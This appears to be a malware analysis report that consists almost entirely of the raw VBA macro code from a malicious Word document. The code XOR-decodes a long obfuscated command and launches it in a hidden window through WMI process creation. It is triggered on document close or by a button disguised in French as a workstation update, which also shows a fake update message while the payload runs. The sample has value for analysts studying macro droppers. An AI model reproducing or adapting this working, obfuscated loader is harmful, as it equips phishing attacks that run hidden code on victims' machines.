Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Mise_a_jour_de_la_station_de_travail1, 0, 1, MSForms, CommandButton"
Private Function cjmLMPJjIG(EWJqQSRbhG As Variant, VfvUULqRyl As Integer)
Dim otARzeCWvD, XJREPZjEGP As String, dXRlAVITZi, YuVtKYtdVe
XJREPZjEGP = ActiveDocument.Variables("YZbec").Value()
otARzeCWvD = ""
dXRlAVITZi = 1
While dXRlAVITZi < UBound(EWJqQSRbhG) + 2
YuVtKYtdVe = dXRlAVITZi Mod Len(XJREPZjEGP): If YuVtKYtdVe = 0 Then YuVtKYtdVe = Len(XJREPZjEGP)
otARzeCWvD = otARzeCWvD + Chr(Asc(Mid(XJREPZjEGP, YuVtKYtdVe + VfvUULqRyl, 1)) Xor CInt(EWJqQSRbhG(dXRlAVITZi - 1)))
dXRlAVITZi = dXRlAVITZi + 1
Wend
cjmLMPJjIG = otARzeCWvD
End Function
Public Function WqhRhVedcQ()
Dim Str As String
Str = cjmLMPJjIG(Array(32, 60, 22, 2, 22, 70, 59, 39, 39, 8, 108, 86, 77, 40, 112, 125, 118, 9, 7, 24, 78, _
42, 30, 39, 83, 108, 42, 38, 15, 34, 83, 122, 63, 25, 57, 11, 19, 2, 50, 23, 108, _
67, 10, 93, 49, 72, 48, 21, 52, 9), 1743)
Str = Str + cjmLMPJjIG(Array(117, 32, 37, 37, 105, 15, 11, 12, 15, 42, 118, 5, 2, 5, 46, 19, 37, 46, 4, 35, 1, _
2, 15, 70, 56, 114, 126, 16, 10, 20, 118, 108, 113, 21, 0, 53, 34, 14, 32, 126, 14, _
50, 31, 112, 98, 48, 117, 100, 121, 7), 1342)
Str = Str + cjmLMPJjIG(Array(44, 14, 43, 57, 2, 10, 119, 112, 36, 50, 4, 79, 13, 121, 14, 42, 62, 57, 44, 2, 113, _
59, 45, 5, 124, 6, 57, 23, 33, 122, 21, 14, 48, 19, 22, 4, 13, 29, 57, 18, 82, _
43, 20, 4, 17, 28, 57, 18, 47, 6), 2193)
Str = Str + cjmLMPJjIG(Array(55, 10, 44, 115, 12, 4, 100, 120, 53, 26, 32, 127, 13, 3, 38, 113, 24, 36, 15, 31, 7, _
21, 10, 45, 45, 4, 113, 56, 42, 54, 115, 18, 84, 21, 4, 24, 112, 45, 61, 6, 91, _
9, 41, 15, 115, 54, 62, 14, 2, 32), 0)
Str = Str + cjmLMPJjIG(Array(19, 106, 22, 47, 9, 51, 56, 39, 18, 42, 42, 39, 80, 45, 31, 23, 27, 84, 16, 7, 1, _
121, 12, 6, 10, 35, 15, 37, 111, 44, 22, 54, 19, 81, 116, 27, 39, 2, 31, 53, 51, _
32, 24, 115, 86, 19, 2, 62, 117, 63), 2343)
Str = Str + cjmLMPJjIG(Array(49, 13, 7, 12, 32, 47, 40, 19, 49, 49, 36, 118, 20, 97, 35, 7, 32, 35, 59, 55, 19, _
57, 54, 92, 39, 44, 14, 113, 11, 52, 52, 52, 43, 54, 41, 14, 107, 23, 18, 16, 32, _
41, 45, 36, 2, 10, 7, 29, 59, 33), 2654)
Str = Str + cjmLMPJjIG(Array(16, 10, 50, 61, 48, 32, 119, 11, 7, 17, 16, 34, 25, 89, 21, 47, 70, 21, 61, 79, 20, _
12, 13, 23, 106, 114, 37, 1, 41, 6, 10, 122, 22, 54, 18, 5, 119, 58, 48, 35, 83, _
15, 58, 79, 36, 3, 53, 0, 62, 20), 745)
Str = Str + cjmLMPJjIG(Array(45, 27, 53, 6, 38, 46, 4, 24, 53, 27, 123, 30, 18, 48, 47, 14, 12, 33, 45, 23, 38, _
9, 46, 115, 17, 2, 119, 60, 42, 12, 8, 9, 105, 56, 16, 3, 46, 19, 19, 5, 34, _
50, 115, 44, 49, 55, 0, 15, 7, 30), 995)
Str = Str + cjmLMPJjIG(Array(53, 98, 57, 35, 36, 52, 1, 46, 116, 49, 53, 21, 62, 113, 44, 16, 38, 22, 16, 62, 1, _
15, 49, 63, 15, 62, 115, 43, 2, 12, 124, 3, 59, 17, 9, 16, 7, 15, 17, 97, 26, _
21, 11, 22, 26, 7, 19, 43, 45, 61), 70)
Str = Str + cjmLMPJjIG(Array(35, 41, 98, 115, 13, 18, 35, 22, 25, 117, 30, 19, 46, 5, 116, 58, 19, 51, 62, 35, 22, _
30, 42, 62, 59, 55, 4, 50, 3, 0, 23, 93, 114, 31, 32, 23, 42, 31, 56, 66, 18, _
118, 89, 24, 47, 39, 35, 28, 113, 45), 795)
Str = Str + cjmLMPJjIG(Array(34, 45, 108, 33, 9, 1, 24, 6, 25, 9, 46, 4, 112, 2, 21, 10, 65, 43, 45, 35, 47, _
114, 54, 51, 15, 115, 56, 39, 53, 32, 116, 116, 24, 24, 97, 52, 123, 63, 116, 54, 51, _
8, 21, 53, 41, 3, 35, 39, 57, 51), 1442)
Str = Str + cjmLMPJjIG(Array(85, 64, 117, 66, 114, 60, 33, 0, 52, 7, 48, 19, 48, 32, 31, 43, 29, 1, 46, 85, 14, _
51, 14, 118, 0, 20, 119, 89, 34, 7, 36, 14, 39, 20, 118, 118, 20, 49, 6, 116, 24, _
5, 115, 68, 117, 119, 74, 21, 32, 36), 470)
Str = Str + cjmLMPJjIG(Array(32, 37, 114, 0, 86, 27, 43, 59, 52, 41, 119, 45, 105, 40, 13, 37, 19, 101, 115, 44, 39, _
13, 11, 52, 59, 15, 46, 11, 98, 49, 50, 0, 21, 50, 34, 46, 117, 20, 51, 6, 53, _
2, 18, 8, 0, 48, 31, 17, 114, 115), 1392)
Str = Str + cjmLMPJjIG(Array(38, 50, 113, 24, 103, 4, 33, 55, 35, 14, 28, 20, 105, 27, 10, 66, 113, 9, 28, 3, 124, _
61, 49, 45, 14, 1, 35, 6, 59, 35, 20, 9, 119, 51, 118, 116, 50, 25, 17, 70, 24, _
113, 82, 2, 27, 113, 46, 39, 24, 6), 1993)
Str = Str + cjmLMPJjIG(Array(63, 3, 6, 56, 3, 8, 35, 122, 91, 9, 1, 14, 27, 35, 36, 39, 87, 44, 24, 30, 19, _
56, 10, 53, 118, 49, 41, 20, 39, 35, 9, 9, 43, 51, 2, 69, 14, 31, 0, 13, 2, _
21, 0, 17, 54, 0, 13, 9, 33, 2), 1643)
Str = Str + cjmLMPJjIG(Array(58, 15, 44, 18, 49, 28, 29, 49, 19, 38, 114, 22, 36, 44, 110, 48, 19, 25, 14, 66, 57, _
11, 96, 10, 42, 37, 3, 11, 121, 50, 31, 47, 85, 54, 8, 63, 121, 21, 61, 45, 63, _
40, 38, 3, 36, 4, 39, 117, 123, 70), 370)
Str = Str + cjmLMPJjIG(Array(46, 119, 116, 5, 97, 48, 39, 120, 113, 80, 24, 12, 59, 36, 57, 4, 113, 118, 42, 43, 8, _
22, 44, 31, 113, 2, 117, 12, 121, 49, 35, 25, 46, 32, 40, 44, 19, 15, 50, 22, 16, _
20, 42, 55, 6, 56, 57, 57, 21, 49), 1793)
Str = Str + cjmLMPJjIG(Array(56, 49, 53, 17, 19, 5, 51, 41, 10, 126, 16, 13, 21, 2, 57, 2, 8, 5, 52, 54, 100, _
31, 5, 103, 54, 18, 45, 4, 48, 0, 117, 81, 16, 12, 16, 53, 13, 96, 51, 59, 5, _
42, 71, 19, 19, 0, 16, 88, 24, 47), 1045)
Str = Str + cjmLMPJjIG(Array(123, 39, 26, 38, 10, 57, 113, 38, 30, 20, 61, 49, 48, 57, 49, 52, 42, 119, 14, 4, 58, _
37, 116, 113, 97, 53, 56, 29, 18, 70, 7, 18, 27, 19, 109, 51, 55, 11, 57, 38, 120, _
53, 111, 0, 35, 3, 23, 48, 61, 46), 1543)
Str = Str + cjmLMPJjIG(Array(14, 61, 35, 41, 53, 52, 42, 16, 42, 5, 17, 32, 2, 4, 57, 48, 43, 48, 35, 104, 114, _
118, 48, 56, 90, 9, 36, 37, 18, 40, 39, 7, 7, 94, 35, 127, 35, 48, 94, 112, 104, _
0, 54, 34, 13, 30, 28, 114, 56, 5), 2554)
Str = Str + cjmLMPJjIG(Array(38, 65, 56, 34, 49, 36, 61, 84, 46, 47, 117, 17, 22, 23, 57, 61, 41, 26, 117, 14, 3, _
2, 49, 20, 26, 4, 41, 115, 104, 27, 50, 63, 44, 6, 16, 31, 28, 40, 18, 120, 17, _
29, 6, 54, 121, 112, 104, 26, 54, 4), 2604)
Str = Str + cjmLMPJjIG(Array(9, 31, 59, 0, 12, 48, 5, 91, 12, 58, 13, 52, 42, 27, 15, 49, 45, 31, 60, 59, 49, _
47, 8, 87, 121, 31, 101, 47, 32, 33, 32, 99, 19, 117, 7, 17, 111, 5, 48, 61, 116, _
44, 91, 35, 24, 14, 113, 13, 36, 43), 570)
Str = Str + cjmLMPJjIG(Array(117, 117, 18, 15, 36, 52, 6, 17, 37, 35, 32, 47, 23, 63, 16, 18, 17, 10, 54, 21, 22, _
38, 9, 40, 22, 34, 50, 70, 113, 48, 25, 126, 117, 22, 34, 11, 3, 3, 50, 33, 69, _
36, 28, 22, 36, 35, 56, 114, 96, 46), 170)
Str = Str + cjmLMPJjIG(Array(83, 48, 6, 104, 6, 119, 82, 35, 15, 2, 13, 42, 40, 113, 103, 17, 14, 4, 21, 5, 45, _
22, 6, 18, 47, 1, 13, 13, 5, 112, 114, 35, 27, 34, 46, 54, 11, 13, 85, 54, 1, _
25, 36, 49, 32, 6, 9, 7, 59, 32), 895)
Str = Str + cjmLMPJjIG(Array(59, 2, 43, 26, 7, 119, 101, 61, 118, 68, 18, 113, 32, 112, 5, 53, 5, 19, 45, 44, 117, _
9, 57, 54, 119, 15, 6, 27, 119, 16, 29, 62, 115, 5, 57, 49, 47, 44, 17, 19, 22, _
24, 51, 20, 0, 119, 110, 6, 122, 1), 220)
Str = Str + cjmLMPJjIG(Array(18, 19, 14, 11, 53, 118, 58, 18, 47, 37, 28, 6, 61, 1, 20, 48, 53, 63, 31, 116, 34, _
12, 15, 7, 6, 58, 47, 118, 24, 15, 47, 92, 54, 32, 85, 32, 51, 102, 42, 48, 46, _
12, 2, 10, 4, 87, 16, 21, 118, 61), 270)
Str = Str + cjmLMPJjIG(Array(55, 121, 36, 30, 32, 125, 120, 51, 24, 40, 23, 13, 24, 0, 35, 53, 87, 120, 6, 53, 42, _
46, 7, 47, 122, 11, 3, 12, 8, 101, 38, 16, 113, 23, 99, 53, 26, 43, 16, 15, 109, _
6, 17, 12, 43, 53, 52, 50, 0, 41), 2393)
Str = Str + cjmLMPJjIG(Array(85, 57, 52, 64, 17, 32, 35, 15, 87, 57, 118, 14, 35, 33, 24, 9, 99, 43, 10, 52, 46, _
2, 6, 0, 47, 21, 40, 118, 56, 35, 55, 50, 31, 51, 15, 91, 50, 115, 6, 50, 20, _
0, 22, 2, 54, 29, 2, 114, 39, 116), 520)
Str = Str + cjmLMPJjIG(Array(4, 68, 53, 118, 28, 18, 109, 84, 20, 22, 9, 42, 63, 32, 25, 105, 49, 33, 23, 30, 39, _
112, 16, 20, 37, 46, 4, 12, 63, 20, 104, 36, 58, 24, 113, 29, 2, 35, 42, 3, 56, _
49, 17, 50, 68, 114, 29, 52, 38, 121), 1843)
Str = Str + cjmLMPJjIG(Array(20, 119, 101, 113, 35, 24, 56, 62, 27, 23, 34, 10, 0, 37, 33, 59, 118, 29, 37, 10, 97, _
0, 3, 27, 10, 21, 104, 59, 17, 39, 53, 3, 115, 39, 43, 40, 85, 78, 14, 33, 24, _
6, 26, 40, 32, 58, 40, 35, 35, 124), 2293)
Str = Str + cjmLMPJjIG(Array(32, 50, 97, 1, 17, 49, 38, 44, 44, 19, 33, 98, 52, 55, 24, 34, 10, 24, 124, 31, 40, _
35, 10, 51, 64, 18, 53, 11, 40, 40, 6, 18, 62, 20, 39, 29, 17, 97, 39, 36, 28, _
5, 57, 61, 45, 16, 42, 57, 2, 18), 320)
Str = Str + cjmLMPJjIG(Array(16, 21, 56, 16, 56, 14, 81, 41, 39, 51, 121, 60, 39, 112, 49, 23, 11, 34, 20, 3, 48, _
45, 116, 5, 48, 55, 117, 27, 24, 3, 126, 117, 10, 53, 19, 5, 40, 1, 24, 40, 44, _
62, 55, 123, 114, 40, 10, 35, 22, 71), 1893)
Str = Str + cjmLMPJjIG(Array(116, 47, 54, 124, 14, 4, 36, 33, 9, 15, 54, 23, 20, 35, 110, 12, 37, 0, 51, 53, 25, _
55, 26, 116, 38, 39, 55, 10, 15, 37, 34, 40, 27, 54, 39, 25, 13, 51, 54, 19, 46, _
38, 52, 13, 44, 34, 17, 37, 59, 71), 1693)
Str = Str + cjmLMPJjIG(Array(16, 43, 17, 59, 46, 6, 18, 46, 24, 42, 87, 35, 33, 4, 4, 36, 12, 114, 101, 42, 34, _
20, 44, 48, 21, 31, 18, 14, 45, 3, 43, 44, 50, 7, 100, 4, 17, 19, 36, 8, 112, _
10, 20, 21, 20, 14, 10, 10, 18, 21), 2904)
Str = Str + cjmLMPJjIG(Array(42, 121, 1, 21, 45, 69, 42, 16, 62, 23, 61, 27, 54, 100, 50, 54, 49, 2, 102, 50, 15, _
57, 21, 11, 39, 8, 57, 70, 14, 31, 6, 1, 28, 35, 38, 38, 10, 121, 118, 8, 19, _
118, 0, 9, 32, 3, 52, 119, 18, 19), 645)
Str = Str + cjmLMPJjIG(Array(32, 34, 10, 10, 19, 20, 36, 0, 98, 102, 7, 12, 119, 42, 1, 113, 35, 65, 117, 124, 2, _
19, 41, 53, 25, 47, 3, 65, 24, 41, 19, 23, 7, 20, 23, 57, 17, 11, 17, 16, 23, _
30, 7, 114, 10, 28, 53, 35, 60, 120), 1593)
Str = Str + cjmLMPJjIG(Array(6, 58, 42, 17, 123, 16, 41, 21, 38, 100, 59, 114, 37, 44, 19, 34, 13, 56, 6, 31, 49, _
48, 114, 16, 9, 60, 3, 38, 71, 18, 114, 114, 12, 50, 15, 1, 42, 43, 30, 15, 49, _
6, 22, 45, 4, 2, 18, 36, 24, 88), 2704)
Str = Str + cjmLMPJjIG(Array(116, 20, 118, 121, 33, 5, 13, 58, 9, 39, 31, 118, 30, 45, 49, 82, 57, 4, 61, 3, 13, _
30, 22, 52, 15, 50, 63, 46, 54, 5, 2, 64, 53, 22, 10, 54, 86, 68, 5, 4, 52, _
6, 70, 24, 25, 2, 117, 7, 0, 122), 1206)
Str = Str + cjmLMPJjIG(Array(9, 27, 125, 102, 19, 26, 13, 15, 103, 118, 62, 34, 114, 116, 50, 123, 101, 37, 55, 39, 17, _
14, 23, 27, 43, 46, 10, 70, 12, 48, 120, 39, 66, 0, 39, 43, 44, 25, 47, 54, 2, _
19, 57, 41, 47, 13, 115, 1, 1, 17), 1492)
Str = Str + cjmLMPJjIG(Array(6, 26, 14, 45, 9, 63, 121, 21, 48, 60, 45, 5, 42, 14, 34, 11, 22, 18, 119, 6, 44, _
113, 3, 119, 60, 57, 27, 40, 23, 59, 20, 4, 32, 1, 51, 61, 113, 9, 67, 12, 39, _
35, 20, 90, 21, 41, 97, 47, 34, 0), 2754)
Str = Str + cjmLMPJjIG(Array(5, 43, 113, 37, 21, 121, 5, 22, 40, 126, 2, 125, 121, 49, 8, 57, 57, 94, 116, 40, 56, _
3, 15, 24, 35, 18, 120, 9, 14, 7, 40, 30, 54, 61, 22, 116, 52, 17, 12, 94, 57, _
124, 42, 116, 3, 38, 35, 45, 7, 105), 120)
Str = Str + cjmLMPJjIG(Array(57, 12, 5, 2, 15, 2, 41, 43, 24, 114, 65, 41, 38, 24, 6, 19, 59, 42, 49, 45, 19, _
25, 52, 40, 24, 7, 127, 16, 0, 53, 52, 41, 41, 7, 15, 44, 31, 58, 21, 98, 8, _
41, 2, 49, 47, 115, 20, 14, 20, 19), 695)
Str = Str + cjmLMPJjIG(Array(4, 118, 41, 59, 37, 13, 5, 114, 102, 5, 124, 15, 23, 29, 2, 118, 126, 53, 47, 79, 36, _
28, 50, 21, 62, 13, 40, 16, 40, 96, 43, 9, 35, 59, 2, 78, 18, 27, 45, 26, 18, _
41, 9, 4, 19, 60, 34, 8, 2, 13), 2443)
Str = Str + cjmLMPJjIG(Array(5, 57, 10, 98, 3, 3, 67, 118, 14, 16, 114, 45, 10, 118, 122, 16, 10, 58, 39, 36, 118, _
16, 72, 38, 40, 41, 8, 95, 10, 30, 47, 51, 5, 28, 38, 9, 114, 23, 21, 8, 62, _
70, 1, 53, 55, 46, 22, 115, 37, 54), 2504)
Str = Str + cjmLMPJjIG(Array(8, 14, 59, 63, 3, 119, 8, 4, 41, 60, 15, 46, 71, 5, 10, 46, 40, 89, 54, 7, 53, _
3, 7, 34, 23, 13, 6, 35, 5, 0, 32, 103, 3, 65, 118, 52, 30, 0, 63, 6, 20, _
64, 114, 42, 50, 12, 107, 56, 112, 84), 1156)
Str = Str + cjmLMPJjIG(Array(20, 37, 97, 116, 43, 52, 39, 63, 117, 46, 8, 119, 102, 14, 57, 19, 17, 34, 17, 40, 12, _
41, 1, 27, 39, 1, 0, 41, 17, 58, 122, 40, 6, 112, 55, 10, 40, 54, 58, 32, 18, _
36, 7, 3, 49, 40, 17, 86, 40, 119), 2143)
Str = Str + cjmLMPJjIG(Array(48, 13, 18, 24, 18, 66, 16, 51, 104, 3, 80, 30, 26, 51, 19, 127, 100, 15, 46, 4, 2, _
62, 24, 27, 113, 39, 1, 54, 7, 1, 17, 6, 32, 53, 27, 30, 26, 37, 6, 1, 89, _
23, 83, 37, 113, 127, 9, 18, 102, 46), 1256)
Str = Str + cjmLMPJjIG(Array(49, 62, 59, 51, 120, 16, 63, 15, 33, 116, 56, 95, 37, 21, 112, 55, 51, 19, 41, 4, 121, _
3, 81, 48, 28, 15, 117, 114, 12, 36, 11, 46, 6, 8, 27, 124, 9, 34, 55, 36, 28, _
15, 10, 1, 53, 6, 30, 118, 34, 94), 2043)
Str = Str + cjmLMPJjIG(Array(9, 102, 47, 24, 25, 35, 7, 49, 5, 33, 45, 15, 95, 48, 10, 2, 8, 23, 40, 20, 3, _
114, 36, 45, 11, 35, 7, 112, 4, 112, 4, 20, 9, 24, 120, 113, 48, 6, 50, 80, 12, _
119, 18, 117, 84, 20, 22, 14, 38, 7), 2804)
Str = Str + cjmLMPJjIG(Array(13, 0, 35, 41, 14, 2, 22, 62, 59, 52, 34, 5, 126, 65, 23, 15, 16, 119, 15, 43, 23, _
15, 114, 2, 119, 54, 63, 55, 58, 120, 119, 56, 13, 37, 50, 15, 35, 113, 37, 125, 27, _
113, 0, 21, 9, 63, 36, 6, 44, 11), 2093)
Str = Str + cjmLMPJjIG(Array(36, 9, 47, 113, 24, 88, 49, 1, 38, 120, 40, 15, 24, 64, 4, 7, 41, 44, 61, 113, 8, _
15, 5, 123, 90, 118, 52, 29, 45, 7, 16, 18, 91, 118, 29, 20, 0, 21, 39, 14, 123, _
14, 53, 29, 15, 3, 25, 125, 43, 2), 1943)
Str = Str + cjmLMPJjIG(Array(36, 71, 113, 11, 51, 61, 27, 17, 87, 52, 123, 63, 120, 119, 82, 52, 18, 14, 45, 88, 57, _
126, 11, 13, 56, 49, 114, 120, 5, 33, 31, 57, 25, 44, 41, 8, 15, 48, 0, 54, 102, _
9, 49, 76, 24, 49, 52, 9, 24, 4), 945)
Str = Str + cjmLMPJjIG(Array(55, 20, 44, 6, 0, 50, 10, 119, 41, 62, 52, 62, 23, 37, 48, 21, 38, 1, 115, 43, 74, _
6, 55, 33, 39, 57, 52, 12, 20, 37, 103, 48, 6, 48, 49, 35, 53, 25, 40, 22, 113, _
6, 56, 43, 60, 56, 10, 0, 54, 0), 420)
Str = Str + cjmLMPJjIG(Array(10, 19, 67, 7, 115, 44, 123, 66, 25, 115, 82, 46, 53, 54, 119, 25, 47, 47, 61, 116, 14, _
11, 117, 118, 6, 8, 38, 21, 104, 120, 45, 122, 48, 49, 4, 48, 18, 0, 43, 23, 3, _
37, 9, 45, 117, 4, 54, 47, 56, 60), 845)
Str = Str + cjmLMPJjIG(Array(46, 59, 110, 11, 25, 126, 43, 47, 5, 48, 22, 43, 4, 3, 112, 13, 27, 42, 105, 32, 47, _
95, 118, 15, 33, 11, 98, 25, 113, 0, 41, 62, 9, 113, 7, 27, 19, 54, 116, 46, 7, _
41, 123, 30, 24, 1, 13, 114, 97, 9), 2854)
Str = Str + cjmLMPJjIG(Array(108, 7, 49, 37, 56, 44, 104, 15, 20, 26, 9, 30, 6, 16, 69, 35, 32, 4, 50, 118, 17, _
22, 4, 0, 42, 121, 55, 34, 118, 12, 96, 49, 56, 7, 38, 3, 121, 21, 88, 44, 21, _
22, 45, 31, 7, 63, 77, 23, 58, 2), 2243)
Str = Str + cjmLMPJjIG(Array(39, 35, 10, 50, 49, 118, 33, 28, 118, 41, 46, 112, 22, 3, 23, 22, 13, 35, 18, 113, 61, _
119, 30, 29, 44, 20, 16, 7, 99, 27, 18, 33, 57, 20, 4, 21, 6, 41, 25, 51, 27, _
56, 6, 39, 31, 23, 20, 26, 20, 50), 1106)
Str = Str + cjmLMPJjIG(Array(50, 55, 86, 3, 124, 114, 41, 127, 23, 37, 9, 38, 31, 13, 10, 46, 7, 11, 29, 10, 39, _
34, 38, 67, 46, 30, 53, 15, 35, 24, 33, 30, 19, 3, 36, 59), 1306)
Const srdPVLGzBZ = 0
vasvHruFok = cjmLMPJjIG(Array(67), 1542)
Set xRQeVDrCWc = GetObject(cjmLMPJjIG(Array(38, 32, 63, 15, 51, 58, 63, 26, 113, 40, 11), 1095) & vasvHruFok & cjmLMPJjIG(Array(111, 5, 2, 35, 44, 108, 53, 35, 44, 53, 100), 2493))
Set vqgviEutnI = xRQeVDrCWc.Get(cjmLMPJjIG(Array(6, 93, 22, 66, 64, 24, 17, 28, 88, 80, 47, 55, 23, 5, 19, 35, 70, 65, 56, 28), 50))
Set xVeGjGsYUK = vqgviEutnI.SpawnInstance_
xVeGjGsYUK.ShowWindow = srdPVLGzBZ
Set nekAhNLIdO = GetObject(cjmLMPJjIG(Array(38, 32, 63, 15, 51, 58, 63, 26, 113, 40, 11), 1095) & vasvHruFok & cjmLMPJjIG(Array(106, 16, 61, 1, 19, 52, 51, 80, 88, 55, 124, 2, 13, 39, 35, 87, 72, 20, 57, 1, 36, _
52, 10, 36, 53), 620))
nekAhNLIdO.Create Str, Null, xVeGjGsYUK, intProcessID
End Function
Private Sub Document_Close()
If ActiveDocument.Variables("toto").Value = "True" Then
ActiveDocument.Variables("toto").Value = "NOP"
ActiveDocument.Save
Else
If ActiveDocument.Variables("YZbec").Value <> "toto" Then
WqhRhVedcQ
ActiveDocument.Variables("YZbec").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End If
End Sub

Private Sub Mise_a_jour_de_la_station_de_travail_Click()
    Call mise_a_jour_windows
    Call WqhRhVedcQ
End Sub


Attribute VB_Name = "Module1"
Private Sub Mise_a_jour_de_la_station_de_travail_Click()
    Call mise_a_jour_windows
    'Call RhDMyrkLpa
End Sub

Sub mise_a_jour_windows()

    Call Shell("cmd.exe /K ECHO Mise a jour de la station de travail %COMPUTERNAME% pour %USERNAME%, veuillez patienter... & ping -n 6 127.0.0.1 > nul & ECHO Mise a jour a jour complete !", vbNormalFocus)

End Sub